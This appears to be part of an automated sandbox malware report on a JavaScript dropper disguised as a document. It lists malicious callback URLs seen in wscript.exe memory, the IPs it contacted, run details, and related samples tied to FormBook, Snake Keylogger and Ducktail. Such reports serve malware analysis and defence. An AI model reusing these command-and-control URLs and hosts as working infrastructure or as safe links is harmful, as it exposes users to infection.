http://telektrim.pl/counter/?ad=	wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-admin/admin-ajax.php	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.tamilandth.com/	wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-32x32.png	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPs	wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/xmlrpc.php	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://key33.ru/counter/?ad=1GNktTwW	wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/feed/	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://shanghaizuoye.com/counter	wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136116904.0000016EA148F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137211657.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136275651.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif)	wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://arlettakubicka.pl/co	wscript.exe, 00000000.00000003.2135664162.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137554018.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135796979.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134840256.0000016EA1676000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-	wscript.exe, 00000000.00000002.2137445226.0000016EA165B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136855151.0000016E9F7DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blockchain.info/wallet/new	wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp	false		high
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKR	wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136733896.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136703713.0000016E9F705000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://arlettakubicka.pl/	wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://telektrim.pl/comments/feed/	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKR	wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136733896.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.gnu.org/licenses/gpl-2.0.html	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false		high
https://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-	wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsL	wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://telektrim.pl/o-nas/	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://key33.ru/counter/?ad=1	wscript.exe, 00000000.00000003.2134462093.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/biura-magazyny/	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://hu-manity.co/	wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false		high
http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWk	wscript.exe, 00000000.00000003.2135299322.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134547643.0000016E9F709000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134462093.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136733896.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136703713.0000016E9F705000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/et-cache/954/et-core-unified-cpt-deferred-954.min.css?ver=1730473688	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-includes/css/dist/block-library/style.min.css?ver=6.7	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://tamilandth.com/counter/?ad=	wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137249570.0000016EA149E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.18	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://shanghaizuoye.com/cA	wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136116904.0000016EA148F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUP~	wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-json/	wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GN	wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136855151.0000016E9F7DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://arlettakubicka.pl/ilandth.com/	wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tamilandth.co	wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135664162.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136116904.0000016EA148F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137554018.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135796979.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137211657.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136275651.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134840256.0000016EA1676000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&	wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2136733896.0000016E9F70A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.w.org/	wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxz	wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://localbitcoins.com/buy_bitcoinsktop%20(DE	wscript.exe, 00000000.00000003.2044429743.0000016EA148A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98e	wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.18	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://telektrim.pl/	wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://tamilandth.com/counter/?ad=1GNktTwWR98eD	wscript.exe, 00000000.00000002.2137249570.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136243432.0000016EA149B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/uploads/2022/08/Zrzut-ekranu-2022-08-20-o-18.11.46.png	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyE	wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/counter/?ad=1GNktTwW	wscript.exe, 00000000.00000003.2135664162.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137554018.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135796979.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134840256.0000016EA1676000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://shanghaizuoye.c	wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-192x192.png	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.elegantthemes.com/gallery/divi/	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false		high
http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&i	wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://key33.ru/counter/?ad=1GNktTwWR98	wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-5	wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-5	wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/themes/Divi/js/scripts.min.js?ver=4.18.0	wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-content/et-cache/notfound/et-divi-dynamic-tb-954-late.css?ver=1730469746	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.	wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://tamilandth.com/cY	wscript.exe, 00000000.00000003.2134534340.0000016EA1492000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-180x180.png	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-content/et-cache/notfound/et-divi-dynamic-tb-954.css?ver=1730469746	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://telektrim.pl/xmlrpc.php?rsd	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://shanghaizuoye.com/counter/?ad=1GN	wscript.exe, 00000000.00000003.2135664162.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137554018.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135796979.0000016EA1677000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134840256.0000016EA1676000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://arlettakubicka.pl/H2	wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.97.3	tamilandth.com	European Union	13335	CLOUDFLARENETUS	true
195.78.67.14	arlettakubicka.pl	Poland	41079	SUPERHOST-PL-ASPL	true
94.152.13.52	telektrim.pl	Poland	29522	KEIPL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559112
Start date and time:	2024-11-20 08:00:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Label_00000852555.doc.js
Detection:	MAL
Classification:	mal100.evad.winJS@1/10@8/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	gusetup.exe	Get hash	malicious	Unknown	Browse	www.glarysoft.com/update/glary-utilities/pro/pro50/
	Online Interview Scheduling Form.lnk	Get hash	malicious	Ducktail	Browse	gmtagency.online/api/check
	View Pdf Doc_0b40e7d2137cd39647abbd9321b34da7.htm	Get hash	malicious	Unknown	Browse	f7xiz.nhgrt.top/Kbo731/96f7xiZ96?&&V5G=YW5kZXJzLmhhcnR1bmcuY2hyaXN0ZW5zZW5Acm9ja3dvb2wuY29t
